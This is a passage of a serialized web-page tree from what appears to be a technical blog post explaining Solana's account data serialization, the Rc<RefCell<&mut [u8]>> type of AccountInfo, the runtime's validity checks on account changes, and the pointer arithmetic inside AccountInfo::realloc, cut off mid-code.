padding\n",[148780],{"type":26,"tag":83,"props":148781,"children":148782},{"__ignoreMap":8},[148783,148800,148880,148912,148919,148964,149008,149016,149040],{"type":26,"tag":217,"props":148784,"children":148785},{"class":7028,"line":7029},[148786,148791,148795],{"type":26,"tag":217,"props":148787,"children":148788},{"style":7048},[148789],{"type":32,"value":148790},"#[allow(clippy",{"type":26,"tag":217,"props":148792,"children":148793},{"style":7149},[148794],{"type":32,"value":56166},{"type":26,"tag":217,"props":148796,"children":148797},{"style":7048},[148798],{"type":32,"value":148799},"cast_ptr_alignment)]\n",{"type":26,"tag":217,"props":148801,"children":148802},{"class":7028,"line":6770},[148803,148807,148812,148816,148820,148824,148828,148832,148836,148840,148844,148848,148852,148856,148860,148864,148868,148872,148876],{"type":26,"tag":217,"props":148804,"children":148805},{"style":7154},[148806],{"type":32,"value":12470},{"type":26,"tag":217,"props":148808,"children":148809},{"style":7054},[148810],{"type":32,"value":148811}," data_len",{"type":26,"tag":217,"props":148813,"children":148814},{"style":7149},[148815],{"type":32,"value":8993},{"type":26,"tag":217,"props":148817,"children":148818},{"style":7149},[148819],{"type":32,"value":9690},{"type":26,"tag":217,"props":148821,"children":148822},{"style":7048},[148823],{"type":32,"value":1851},{"type":26,"tag":217,"props":148825,"children":148826},{"style":7054},[148827],{"type":32,"value":56415},{"type":26,"tag":217,"props":148829,"children":148830},{"style":7149},[148831],{"type":32,"value":180},{"type":26,"tag":217,"props":148833,"children":148834},{"style":7064},[148835],{"type":32,"value":61551},{"type":26,"tag":217,"props":148837,"children":148838},{"style":7048},[148839],{"type":32,"value":1851},{"type":26,"tag":217,"props":148841,"children":148842},{"style":7054},[148843],{"type":32,"value":35030},{"type":26,"tag":217,"props":148845,"children":148846},{"style":7048},[148847],{"type":32,"value":8380},{"type":26,"tag":217,"props":148849,"children":148850},{"style":7154},[148851],{"type":32,"value":91735},{"type":26,"tag":217,"props":148853,"children":148854},{"style":7149},[148855],{"type":32,"value":9690},{"type":26,"tag":217,"props":148857,"children":148858},{"style":7154},[148859],{"type":32,"value":74748},{"type":26,"tag":217,"props":148861,"children":148862},{"style":7119},[148863],{"type":32,"value":91146},{"type":26,"tag":217,"props":148865,"children":148866},{"style":7048},[148867],{"type":32,"value":8380},{"type":26,"tag":217,"props":148869,"children":148870},{"style":7154},[148871],{"type":32,"value":91735},{"type":26,"tag":217,"props":148873,"children":148874},{"style":7119},[148875],{"type":32,"value":94410},{"type":26,"tag":217,"props":148877,"children":148878},{"style":7048},[148879],{"type":32,"value":7162},{"type":26,"tag":217,"props":148881,"children":148882},{"class":7028,"line":6779},[148883,148887,148891,148896,148900,148904,148908],{"type":26,"tag":217,"props":148884,"children":148885},{"style":7054},[148886],{"type":32,"value":35030},{"type":26,"tag":217,"props":148888,"children":148889},{"style":7149},[148890],{"type":32,"value":36168},{"type":26,"tag":217,"props":148892,"children":148893},{"style":7064},[148894],{"type":32,"value":148895}," size_of",{"type":26,"tag":217,"props":148897,"children":148898},{"style":7149},[148899],{"type":32,"value":56166},{"type":26,"tag":217,"props":148901,"children":148902},{"style":7048},[148903],{"type":32,"value":7289},{"type":26,"tag":217,"props":148905,"children":148906},{"style":7119},[148907],{"type":32,"value":120978},{"type":26,"tag":217,"props":148909,"children":148910},{"style":7048},[148911],{"type":32,"value":104904},{"type":26,"tag":217,"props":148913,"children":148914},{"class":7028,"line":7140},[148915],{"type":26,"tag":217,"props":148916,"children":148917},{"emptyLinePlaceholder":17},[148918],{"type":32,"value":7817},{"type":26,"tag":217,"props":148920,"children":148921},{"class":7028,"line":7165},[148922,148926,148930,148934,148939,148943,148947,148952,148956,148960],{"type":26,"tag":217,"props":148923,"children":148924},{"style":7154},[148925],{"type":32,"value":12470},{"type":26,"tag":217,"props":148927,"children":148928},{"style":7054},[148929],{"type":32,"value":35391},{"type":26,"tag":217,"props":148931,"children":148932},{"style":7149},[148933],{"type":32,"value":8993},{"type":26,"tag":217,"props":148935,"children":148936},{"style":7119},[148937],{"type":32,"value":148938}," Rc",{"type":26,"tag":217,"props":148940,"children":148941},{"style":7149},[148942],{"type":32,"value":56166},{"type":26,"tag":217,"props":148944,"children":148945},{"style":7064},[148946],{"type":32,"value":7116},{"type":26,"tag":217,"props":148948,"children":148949},{"style":7048},[148950],{"type":32,"value":148951},"(RefCell",{"type":26,"tag":217,"props":148953,"children":148954},{"style":7149},[148955],{"type":32,"value":56166},{"type":26,"tag":217,"props":148957,"children":148958},{"style":7064},[148959],{"type":32,"value":7116},{"type":26,"tag":217,"props":148961,"children":148962},{"style":7048},[148963],{"type":32,"value":13500},{"type":26,"tag":217,"props":148965,"children":148966},{"class":7028,"line":7178},[148967,148972,148976,148980,148984,148988,148992,148996,149000,149004],{"type":26,"tag":217,"props":148968,"children":148969},{"style":7064},[148970],{"type":32,"value":148971},"    from_raw_parts_mut",{"type":26,"tag":217,"props":148973,"children":148974},{"style":7048},[148975],{"type":32,"value":1851},{"type":26,"tag":217,"props":148977,"children":148978},{"style":7054},[148979],{"type":32,"value":56415},{"type":26,"tag":217,"props":148981,"children":148982},{"style":7149},[148983],{"type":32,"value":180},{"type":26,"tag":217,"props":148985,"children":148986},{"style":7064},[148987],{"type":32,"value":61551},{"type":26,"tag":217,"props":148989,"children":148990},{"style":7048},[148991],{"type":32,"value":1851},{"type":26,"tag":217,"props":148993,"children":148994},{"style":7054},[148995],{"type":32,"value":35030},{"type":26,"tag":217,"props":148997,"children":148998},{"style":7048},[148999],{"type":32,"value":5407},{"type":26,"tag":217,"props":149001,"children":149002},{"style":7054},[149003],{"type":32,"value":93774},{"type":26,"tag":217,"props":149005,"children":149006},{"style":7048},[149007],{"type":32,"value":10025},{"type":26,"tag":217,"props":149009,"children":149010},{"class":7028,"line":7389},[149011],{"type":26,"tag":217,"props":149012,"children":149013},{"style":7048},[149014],{"type":32,"value":149015},"}));\n",{"type":26,"tag":217,"props":149017,"children":149018},{"class":7028,"line":7406},[149019,149023,149027,149031,149035],{"type":26,"tag":217,"props":149020,"children":149021},{"style":7054},[149022],{"type":32,"value":35030},{"type":26,"tag":217,"props":149024,"children":149025},{"style":7149},[149026],{"type":32,"value":36168},{"type":26,"tag":217,"props":149028,"children":149029},{"style":7054},[149030],{"type":32,"value":148811},{"type":26,"tag":217,"props":149032,"children":149033},{"style":7149},[149034],{"type":32,"value":9025},{"type":26,"tag":217,"props":149036,"children":149037},{"style":7048},[149038],{"type":32,"value":149039}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":26,"tag":217,"props":149041,"children":149042},{"class":7028,"line":7439},[149043,149047,149051,149055,149059,149063,149067,149071,149075,149079,149083,149088,149093],{"type":26,"tag":217,"props":149044,"children":149045},{"style":7054},[149046],{"type":32,"value":35030},{"type":26,"tag":217,"props":149048,"children":149049},{"style":7149},[149050],{"type":32,"value":36168},{"type":26,"tag":217,"props":149052,"children":149053},{"style":7048},[149054],{"type":32,"value":7051},{"type":26,"tag":217,"props":149056,"children":149057},{"style":7054},[149058],{"type":32,"value":35030},{"type":26,"tag":217,"props":149060,"children":149061},{"style":7154},[149062],{"type":32,"value":97268},{"type":26,"tag":217,"props":149064,"children":149065},{"style":7149},[149066],{"type":32,"value":9690},{"type":26,"tag":217,"props":149068,"children":149069},{"style":7154},[149070],{"type":32,"value":74748},{"type":26,"tag":217,"props":149072,"children":149073},{"style":7119},[149074],{"type":32,"value":125491},{"type":26,"tag":217,"props":149076,"children":149077},{"style":7048},[149078],{"type":32,"value":1889},{"type":26,"tag":217,"props":149080,"children":149081},{"style":7149},[149082],{"type":32,"value":180},{"type":26,"tag":217,"props":149084,"children":149085},{"style":7064},[149086],{"type":32,"value":149087},"align_offset",{"type":26,"tag":217,"props":149089,"children":149090},{"style":7048},[149091],{"type":32,"value":149092},"(BPF_ALIGN_OF_U128); ",{"type":26,"tag":217,"props":149094,"children":149095},{"style":7033},[149096],{"type":32,"value":149097},"// padding\n",{"type":26,"tag":39,"props":149099,"children":149100},{},[149101,149103,149108,149110,149116,149118,149129,149131,149136,149138,149144,149146,149152,149153,149159],{"type":32,"value":149102},"In English, we have the length of the data, as a ",{"type":26,"tag":83,"props":149104,"children":149106},{"className":149105},[],[149107],{"type":32,"value":120978},{"type":32,"value":149109},", followed immediately by the data, and an additional ",{"type":26,"tag":83,"props":149111,"children":149113},{"className":149112},[],[149114],{"type":32,"value":149115},"MAX_PERMITTED_DATA_INCREASE",{"type":32,"value":149117}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":26,"tag":163,"props":149119,"children":149122},{"href":149120,"rel":149121},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[167],[149123],{"type":26,"tag":83,"props":149124,"children":149126},{"className":149125},[],[149127],{"type":32,"value":149128},"slice::from_raw_parts_mut",{"type":32,"value":149130},") - slices are how Rust represents a, well, ",{"type":26,"tag":65,"props":149132,"children":149133},{},[149134],{"type":32,"value":149135},"slice",{"type":32,"value":149137}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":26,"tag":83,"props":149139,"children":149141},{"className":149140},[],[149142],{"type":32,"value":149143},"Rc\u003CRefCell\u003CT>>",{"type":32,"value":149145},", giving us the unwieldy-looking type of ",{"type":26,"tag":83,"props":149147,"children":149149},{"className":149148},[],[149150],{"type":32,"value":149151},"AccountInfo.data",{"type":32,"value":14785},{"type":26,"tag":83,"props":149154,"children":149156},{"className":149155},[],[149157],{"type":32,"value":149158},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":32,"value":180},{"type":26,"tag":39,"props":149161,"children":149162},{},[149163,149165,149172],{"type":32,"value":149164},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":26,"tag":163,"props":149166,"children":149169},{"href":149167,"rel":149168},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[167],[149170],{"type":32,"value":149171},"cloning the referenced account",{"type":32,"value":1473},{"type":26,"tag":207,"props":149174,"children":149176},{"className":56140,"code":149175,"language":56139,"meta":8,"style":8},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[149177],{"type":26,"tag":83,"props":149178,"children":149179},{"__ignoreMap":8},[149180,149188],{"type":26,"tag":217,"props":149181,"children":149182},{"class":7028,"line":7029},[149183],{"type":26,"tag":217,"props":149184,"children":149185},{"style":7033},[149186],{"type":32,"value":149187},"// Duplicate account, clone the original\n",{"type":26,"tag":217,"props":149189,"children":149190},{"class":7028,"line":6770},[149191,149195,149199,149203,149207,149211,149215,149220,149224,149228,149232,149236,149240],{"type":26,"tag":217,"props":149192,"children":149193},{"style":7054},[149194],{"type":32,"value":91204},{"type":26,"tag":217,"props":149196,"children":149197},{"style":7149},[149198],{"type":32,"value":180},{"type":26,"tag":217,"props":149200,"children":149201},{"style":7064},[149202],{"type":32,"value":13495},{"type":26,"tag":217,"props":149204,"children":149205},{"style":7048},[149206],{"type":32,"value":1851},{"type":26,"tag":217,"props":149208,"children":149209},{"style":7054},[149210],{"type":32,"value":91204},{"type":26,"tag":217,"props":149212,"children":149213},{"style":7048},[149214],{"type":32,"value":7127},{"type":26,"tag":217,"props":149216,"children":149217},{"style":7054},[149218],{"type":32,"value":149219},"dup_info",{"type":26,"tag":217,"props":149221,"children":149222},{"style":7154},[149223],{"type":32,"value":97268},{"type":26,"tag":217,"props":149225,"children":149226},{"style":7119},[149227],{"type":32,"value":94410},{"type":26,"tag":217,"props":149229,"children":149230},{"style":7048},[149231],{"type":32,"value":21845},{"type":26,"tag":217,"props":149233,"children":149234},{"style":7149},[149235],{"type":32,"value":180},{"type":26,"tag":217,"props":149237,"children":149238},{"style":7064},[149239],{"type":32,"value":67384},{"type":26,"tag":217,"props":149241,"children":149242},{"style":7048},[149243],{"type":32,"value":8348},{"type":26,"tag":39,"props":149245,"children":149246},{},[149247,149249,149254,149256,149261,149262,149267,149269,149274,149275,149281,149283,149288,149290,149300,149302,149307],{"type":32,"value":149248},"Since ",{"type":26,"tag":83,"props":149250,"children":149252},{"className":149251},[],[149253],{"type":32,"value":33715},{"type":32,"value":149255}," inside the ",{"type":26,"tag":83,"props":149257,"children":149259},{"className":149258},[],[149260],{"type":32,"value":93505},{"type":32,"value":16203},{"type":26,"tag":83,"props":149263,"children":149265},{"className":149264},[],[149266],{"type":32,"value":149143},{"type":32,"value":149268},", where the ",{"type":26,"tag":83,"props":149270,"children":149272},{"className":149271},[],[149273],{"type":32,"value":178},{"type":32,"value":16203},{"type":26,"tag":83,"props":149276,"children":149278},{"className":149277},[],[149279],{"type":32,"value":149280},"&mut [u8]",{"type":32,"value":149282}," pointing at the actual data buffer, when we clone the ",{"type":26,"tag":83,"props":149284,"children":149286},{"className":149285},[],[149287],{"type":32,"value":93505},{"type":32,"value":149289},", we get a new reference",{"type":26,"tag":98386,"props":149291,"children":149292},{},[149293],{"type":26,"tag":163,"props":149294,"children":149298},{"href":149295,"ariaDescribedBy":149296,"dataFootnoteRef":8,"id":149297},"#user-content-fn-rc-refs",[98393],"user-content-fnref-rc-refs",[149299],{"type":32,"value":185},{"type":32,"value":149301}," to the slice pointing at the ",{"type":26,"tag":65,"props":149303,"children":149304},{},[149305],{"type":32,"value":149306},"same",{"type":32,"value":149308}," data buffer.",{"type":26,"tag":39,"props":149310,"children":149311},{},[149312,149314,149320,149322,149327],{"type":32,"value":149313},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":26,"tag":83,"props":149315,"children":149317},{"className":149316},[],[149318],{"type":32,"value":149319},"RefCell",{"type":32,"value":149321}," to check the rules at runtime. (The ",{"type":26,"tag":83,"props":149323,"children":149325},{"className":149324},[],[149326],{"type":32,"value":92598},{"type":32,"value":149328}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":26,"tag":39,"props":149330,"children":149331},{},[149332,149334,149340],{"type":32,"value":149333},"Changing the data of an account is done by simply writing to ",{"type":26,"tag":83,"props":149335,"children":149337},{"className":149336},[],[149338],{"type":32,"value":149339},"AccountInfo::data",{"type":32,"value":149341},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":26,"tag":39,"props":149343,"children":149344},{},[149345,149347,149354],{"type":32,"value":149346},"This is also where the ",{"type":26,"tag":163,"props":149348,"children":149351},{"href":149349,"rel":149350},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[167],[149352],{"type":32,"value":149353},"runtime validity checks",{"type":32,"value":149355}," are imposed.",{"type":26,"tag":207,"props":149357,"children":149359},{"className":56140,"code":149358,"language":56139,"meta":8,"style":8},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[149360],{"type":26,"tag":83,"props":149361,"children":149362},{"__ignoreMap":8},[149363,149371,149379,149387,149427,149444,149471,149515,149522,149545,149577,149600,149632,149647,149679,149686],{"type":26,"tag":217,"props":149364,"children":149365},{"class":7028,"line":7029},[149366],{"type":26,"tag":217,"props":149367,"children":149368},{"style":7033},[149369],{"type":32,"value":149370},"// Only the owner may change account data\n",{"type":26,"tag":217,"props":149372,"children":149373},{"class":7028,"line":6770},[149374],{"type":26,"tag":217,"props":149375,"children":149376},{"style":7033},[149377],{"type":32,"value":149378},"//   and if the account is writable\n",{"type":26,"tag":217,"props":149380,"children":149381},{"class":7028,"line":6779},[149382],{"type":26,"tag":217,"props":149383,"children":149384},{"style":7033},[149385],{"type":32,"value":149386},"//   and if the account is not executable\n",{"type":26,"tag":217,"props":149388,"children":149389},{"class":7028,"line":7140},[149390,149394,149398,149402,149406,149410,149415,149419,149423],{"type":26,"tag":217,"props":149391,"children":149392},{"style":7042},[149393],{"type":32,"value":7045},{"type":26,"tag":217,"props":149395,"children":149396},{"style":7149},[149397],{"type":32,"value":37846},{"type":26,"tag":217,"props":149399,"children":149400},{"style":7048},[149401],{"type":32,"value":1851},{"type":26,"tag":217,"props":149403,"children":149404},{"style":7054},[149405],{"type":32,"value":148504},{"type":26,"tag":217,"props":149407,"children":149408},{"style":7149},[149409],{"type":32,"value":11680},{"type":26,"tag":217,"props":149411,"children":149412},{"style":7054},[149413],{"type":32,"value":149414}," pre",{"type":26,"tag":217,"props":149416,"children":149417},{"style":7149},[149418],{"type":32,"value":180},{"type":26,"tag":217,"props":149420,"children":149421},{"style":7064},[149422],{"type":32,"value":101770},{"type":26,"tag":217,"props":149424,"children":149425},{"style":7048},[149426],{"type":32,"value":64888},{"type":26,"tag":217,"props":149428,"children":149429},{"class":7028,"line":7165},[149430,149434,149439],{"type":26,"tag":217,"props":149431,"children":149432},{"style":7149},[149433],{"type":32,"value":93735},{"type":26,"tag":217,"props":149435,"children":149436},{"style":7054},[149437],{"type":32,"value":149438}," is_writable",{"type":26,"tag":217,"props":149440,"children":149441},{"style":7033},[149442],{"type":32,"value":149443},"  // line coverage used to get branch coverage\n",{"type":26,"tag":217,"props":149445,"children":149446},{"class":7028,"line":7178},[149447,149451,149455,149459,149463,149467],{"type":26,"tag":217,"props":149448,"children":149449},{"style":7149},[149450],{"type":32,"value":93735},{"type":26,"tag":217,"props":149452,"children":149453},{"style":7149},[149454],{"type":32,"value":37846},{"type":26,"tag":217,"props":149456,"children":149457},{"style":7054},[149458],{"type":32,"value":207},{"type":26,"tag":217,"props":149460,"children":149461},{"style":7149},[149462],{"type":32,"value":180},{"type":26,"tag":217,"props":149464,"children":149465},{"style":7064},[149466],{"type":32,"value":93182},{"type":26,"tag":217,"props":149468,"children":149469},{"style":7048},[149470],{"type":32,"value":93779},{"type":26,"tag":217,"props":149472,"children":149473},{"class":7028,"line":7389},[149474,149478,149482,149486,149490,149494,149498,149503,149507,149511],{"type":26,"tag":217,"props":149475,"children":149476},{"style":7149},[149477],{"type":32,"value":93735},{"type":26,"tag":217,"props":149479,"children":149480},{"style":7054},[149481],{"type":32,"value":149414},{"type":26,"tag":217,"props":149483,"children":149484},{"style":7149},[149485],{"type":32,"value":180},{"type":26,"tag":217,"props":149487,"children":149488},{"style":7064},[149489],{"type":32,"value":33715},{"type":26,"tag":217,"props":149491,"children":149492},{"style":7048},[149493],{"type":32,"value":61808},{"type":26,"tag":217,"props":149495,"children":149496},{"style":7149},[149497],{"type":32,"value":9720},{"type":26,"tag":217,"props":149499,"children":149500},{"style":7054},[149501],{"type":32,"value":149502}," post",{"type":26,"tag":217,"props":149504,"children":149505},{"style":7149},[149506],{"type":32,"value":180},{"type":26,"tag":217,"props":149508,"children":149509},{"style":7064},[149510],{"type":32,"value":33715},{"type":26,"tag":217,"props":149512,"children":149513},{"style":7048},[149514],{"type":32,"value":64888},{"type":26,"tag":217,"props":149516,"children":149517},{"class":7028,"line":7406},[149518],{"type":26,"tag":217,"props":149519,"children":149520},{"style":7048},[149521],{"type":32,"value":10033},{"type":26,"tag":217,"props":149523,"children":149524},{"class":7028,"line":7439},[149525,149529,149533,149537,149541],{"type":26,"tag":217,"props":149526,"children":149527},{"style":7042},[149528],{"type":32,"value":9710},{"type":26,"tag":217,"props":149530,"children":149531},{"style":7054},[149532],{"type":32,"value":149414},{"type":26,"tag":217,"props":149534,"children":149535},{"style":7149},[149536],{"type":32,"value":180},{"type":26,"tag":217,"props":149538,"children":149539},{"style":7064},[149540],{"type":32,"value":93182},{"type":26,"tag":217,"props":149542,"children":149543},{"style":7048},[149544],{"type":32,"value":7841},{"type":26,"tag":217,"props":149546,"children":149547},{"class":7028,"line":7487},[149548,149552,149556,149560,149564,149568,149573],{"type":26,"tag":217,"props":149549,"children":149550},{"style":7042},[149551],{"type":32,"value":9737},{"type":26,"tag":217,"props":149553,"children":149554},{"style":7119},[149555],{"type":32,"value":77979},{"type":26,"tag":217,"props":149557,"children":149558},{"style":7048},[149559],{"type":32,"value":1851},{"type":26,"tag":217,"props":149561,"children":149562},{"style":7119},[149563],{"type":32,"value":92628},{"type":26,"tag":217,"props":149565,"children":149566},{"style":7149},[149567],{"type":32,"value":56166},{"type":26,"tag":217,"props":149569,"children":149570},{"style":7119},[149571],{"type":32,"value":149572},"ExecutableDataModified",{"type":26,"tag":217,"props":149574,"children":149575},{"style":7048},[149576],{"type":32,"value":7669},{"type":26,"tag":217,"props":149578,"children":149579},{"class":7028,"line":7524},[149580,149584,149588,149592,149596],{"type":26,"tag":217,"props":149581,"children":149582},{"style":7048},[149583],{"type":32,"value":40847},{"type":26,"tag":217,"props":149585,"children":149586},{"style":7042},[149587],{"type":32,"value":40852},{"type":26,"tag":217,"props":149589,"children":149590},{"style":7042},[149591],{"type":32,"value":60711},{"type":26,"tag":217,"props":149593,"children":149594},{"style":7054},[149595],{"type":32,"value":149438},{"type":26,"tag":217,"props":149597,"children":149598},{"style":7048},[149599],{"type":32,"value":8064},{"type":26,"tag":217,"props":149601,"children":149602},{"class":7028,"line":7553},[149603,149607,149611,149615,149619,149623,149628],{"type":26,"tag":217,"props":149604,"children":149605},{"style":7042},[149606],{"type":32,"value":9737},{"type":26,"tag":217,"props":149608,"children":149609},{"style":7119},[149610],{"type":32,"value":77979},{"type":26,"tag":217,"props":149612,"children":149613},{"style":7048},[149614],{"type":32,"value":1851},{"type":26,"tag":217,"props":149616,"children":149617},{"style":7119},[149618],{"type":32,"value":92628},{"type":26,"tag":217,"props":149620,"children":149621},{"style":7149},[149622],{"type":32,"value":56166},{"type":26,"tag":217,"props":149624,"children":149625},{"style":7119},[149626],{"type":32,"value":149627},"ExternalAccountDataModified",{"type":26,"tag":217,"props":149629,"children":149630},{"style":7048},[149631],{"type":32,"value":7669},{"type":26,"tag":217,"props":149633,"children":149634},{"class":7028,"line":7570},[149635,149639,149643],{"type":26,"tag":217,"props":149636,"children":149637},{"style":7048},[149638],{"type":32,"value":40847},{"type":26,"tag":217,"props":149640,"children":149641},{"style":7042},[149642],{"type":32,"value":40852},{"type":26,"tag":217,"props":149644,"children":149645},{"style":7048},[149646],{"type":32,"value":8064},{"type":26,"tag":217,"props":149648,"children":149649},{"class":7028,"line":7621},[149650,149654,149658,149662,149666,149670,149675],{"type":26,"tag":217,"props":149651,"children":149652},{"style":7042},[149653],{"type":32,"value":9737},{"type":26,"tag":217,"props":149655,"children":149656},{"style":7119},[149657],{"type":32,"value":77979},{"type":26,"tag":217,"props":149659,"children":149660},{"style":7048},[149661],{"type":32,"value":1851},{"type":26,"tag":217,"props":149663,"children":149664},{"style":7119},[149665],{"type":32,"value":92628},{"type":26,"tag":217,"props":149667,"children":149668},{"style":7149},[149669],{"type":32,"value":56166},{"type":26,"tag":217,"props":149671,"children":149672},{"style":7119},[149673],{"type":32,"value":149674},"ReadonlyDataModified",{"type":26,"tag":217,"props":149676,"children":149677},{"style":7048},[149678],{"type":32,"value":7669},{"type":26,"tag":217,"props":149680,"children":149681},{"class":7028,"line":7672},[149682],{"type":26,"tag":217,"props":149683,"children":149684},{"style":7048},[149685],{"type":32,"value":9754},{"type":26,"tag":217,"props":149687,"children":149688},{"class":7028,"line":7681},[149689],{"type":26,"tag":217,"props":149690,"children":149691},{"style":7048},[149692],{"type":32,"value":7184},{"type":26,"tag":607,"props":149694,"children":149696},{"id":149695},"back-to-realloc",[149697,149699],{"type":32,"value":149698},"Back to ",{"type":26,"tag":83,"props":149700,"children":149702},{"className":149701},[],[149703],{"type":32,"value":147499},{"type":26,"tag":39,"props":149705,"children":149706},{},[149707],{"type":32,"value":149708},"As a reminder, this is what we were looking at before that detour:",{"type":26,"tag":207,"props":149710,"children":149711},{"className":56140,"code":148230,"language":56139,"meta":8,"style":8},[149712],{"type":26,"tag":83,"props":149713,"children":149714},{"__ignoreMap":8},[149715,149722,149809],{"type":26,"tag":217,"props":149716,"children":149717},{"class":7028,"line":7029},[149718],{"type":26,"tag":217,"props":149719,"children":149720},{"style":7033},[149721],{"type":32,"value":148242},{"type":26,"tag":217,"props":149723,"children":149724},{"class":7028,"line":6770},[149725,149729,149733,149737,149741,149745,149749,149753,149757,149761,149765,149769,149773,149777,149781,149785,149789,149793,149797,149801,149805],{"type":26,"tag":217,"props":149726,"children":149727},{"style":7154},[149728],{"type":32,"value":12470},{"type":26,"tag":217,"props":149730,"children":149731},{"style":7054},[149732],{"type":32,"value":120800},{"type":26,"tag":217,"props":149734,"children":149735},{"style":7149},[149736],{"type":32,"value":8993},{"type":26,"tag":217,"props":149738,"children":149739},{"style":7154},[149740],{"type":32,"value":92589},{"type":26,"tag":217,"props":149742,"children":149743},{"style":7149},[149744],{"type":32,"value":180},{"type":26,"tag":217,"props":149746,"children":149747},{"style":7064},[149748],{"type":32,"value":123973},{"type":26,"tag":217,"props":149750,"children":149751},{"style":7048},[149752],{"type":32,"value":78002},{"type":26,"tag":217,"props":149754,"children":149755},{"style":7149},[149756],{"type":32,"value":91725},{"type":26,"tag":217,"props":149758,"children":149759},{"style":7064},[149760],{"type":32,"value":147735},{"type":26,"tag":217,"props":149762,"children":149763},{"style":7048},[149764],{"type":32,"value":78002},{"type":26,"tag":217,"props":149766,"children":149767},{"style":7149},[149768],{"type":32,"value":180},{"type":26,"tag":217,"props":149770,"children":149771},{"style":7064},[149772],{"type":32,"value":35030},{"type":26,"tag":217,"props":149774,"children":149775},{"style":7048},[149776],{"type":32,"value":1851},{"type":26,"tag":217,"props":149778,"children":149779},{"style":7149},[149780],{"type":32,"value":18420},{"type":26,"tag":217,"props":149782,"children":149783},{"style":7130},[149784],{"type":32,"value":27891},{"type":26,"tag":217,"props":149786,"children":149787},{"style":7048},[149788],{"type":32,"value":8380},{"type":26,"tag":217,"props":149790,"children":149791},{"style":7154},[149792],{"type":32,"value":91735},{"type":26,"tag":217,"props":149794,"children":149795},{"style":7149},[149796],{"type":32,"value":9690},{"type":26,"tag":217,"props":149798,"children":149799},{"style":7154},[149800],{"type":32,"value":90786},{"type":26,"tag":217,"props":149802,"children":149803},{"style":7119},[149804],{"type":32,"value":91146},{"type":26,"tag":217,"props":149806,"children":149807},{"style":7048},[149808],{"type":32,"value":7162},{"type":26,"tag":217,"props":149810,"children":149811},{"class":7028,"line":6779},[149812,149816,149820,149824,149828,149832,149836],{"type":26,"tag":217,"props":149813,"children":149814},{"style":7149},[149815],{"type":32,"value":10006},{"type":26,"tag":217,"props":149817,"children":149818},{"style":7054},[149819],{"type":32,"value":12350},{"type":26,"tag":217,"props":149821,"children":149822},{"style":7149},[149823],{"type":32,"value":8993},{"type":26,"tag":217,"props":149825,"children":149826},{"style":7054},[149827],{"type":32,"value":147803},{"type":26,"tag":217,"props":149829,"children":149830},{"style":7154},[149831],{"type":32,"value":97268},{"type":26,"tag":217,"props":149833,"children":149834},{"style":7119},[149835],{"type":32,"value":91146},{"type":26,"tag":217,"props":149837,"children":149838},{"style":7048},[149839],{"type":32,"value":7162},{"type":26,"tag":39,"props":149841,"children":149842},{},[149843,149848,149850,149855,149856,149861,149863,149874,149876,149881,149883,149888],{"type":26,"tag":83,"props":149844,"children":149846},{"className":149845},[],[149847],{"type":32,"value":123973},{"type":32,"value":149849}," gives us the ",{"type":26,"tag":83,"props":149851,"children":149853},{"className":149852},[],[149854],{"type":32,"value":149280},{"type":32,"value":42491},{"type":26,"tag":83,"props":149857,"children":149859},{"className":149858},[],[149860],{"type":32,"value":149158},{"type":32,"value":149862},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":26,"tag":163,"props":149864,"children":149867},{"href":149865,"rel":149866},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[167],[149868],{"type":26,"tag":83,"props":149869,"children":149871},{"className":149870},[],[149872],{"type":32,"value":149873},"slice::as_mut_ptr()",{"type":32,"value":149875}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":26,"tag":83,"props":149877,"children":149879},{"className":149878},[],[149880],{"type":32,"value":120978},{"type":32,"value":149882}," - behind the data buffer), and then writes ",{"type":26,"tag":83,"props":149884,"children":149886},{"className":149885},[],[149887],{"type":32,"value":147579},{"type":32,"value":149889}," to it.",{"type":26,"tag":39,"props":149891,"children":149892},{},[149893,149895,149907,149909,149915],{"type":32,"value":149894},"This is reasonable... ",{"type":26,"tag":65,"props":149896,"children":149897},{},[149898,149900,149905],{"type":32,"value":149899},"as long as the ",{"type":26,"tag":83,"props":149901,"children":149903},{"className":149902},[],[149904],{"type":32,"value":33715},{"type":32,"value":149906}," actually came from the serialized buffer",{"type":32,"value":149908},". We'll come back to this ",{"type":26,"tag":163,"props":149910,"children":149912},{"href":149911},"#Not-contracts",[149913],{"type":32,"value":149914},"later",{"type":32,"value":180},{"type":26,"tag":39,"props":149917,"children":149918},{},[149919,149921,149926],{"type":32,"value":149920},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":26,"tag":83,"props":149922,"children":149924},{"className":149923},[],[149925],{"type":32,"value":149280},{"type":32,"value":149927}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":26,"tag":207,"props":149929,"children":149931},{"className":56140,"code":149930,"language":56139,"meta":8,"style":8},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as 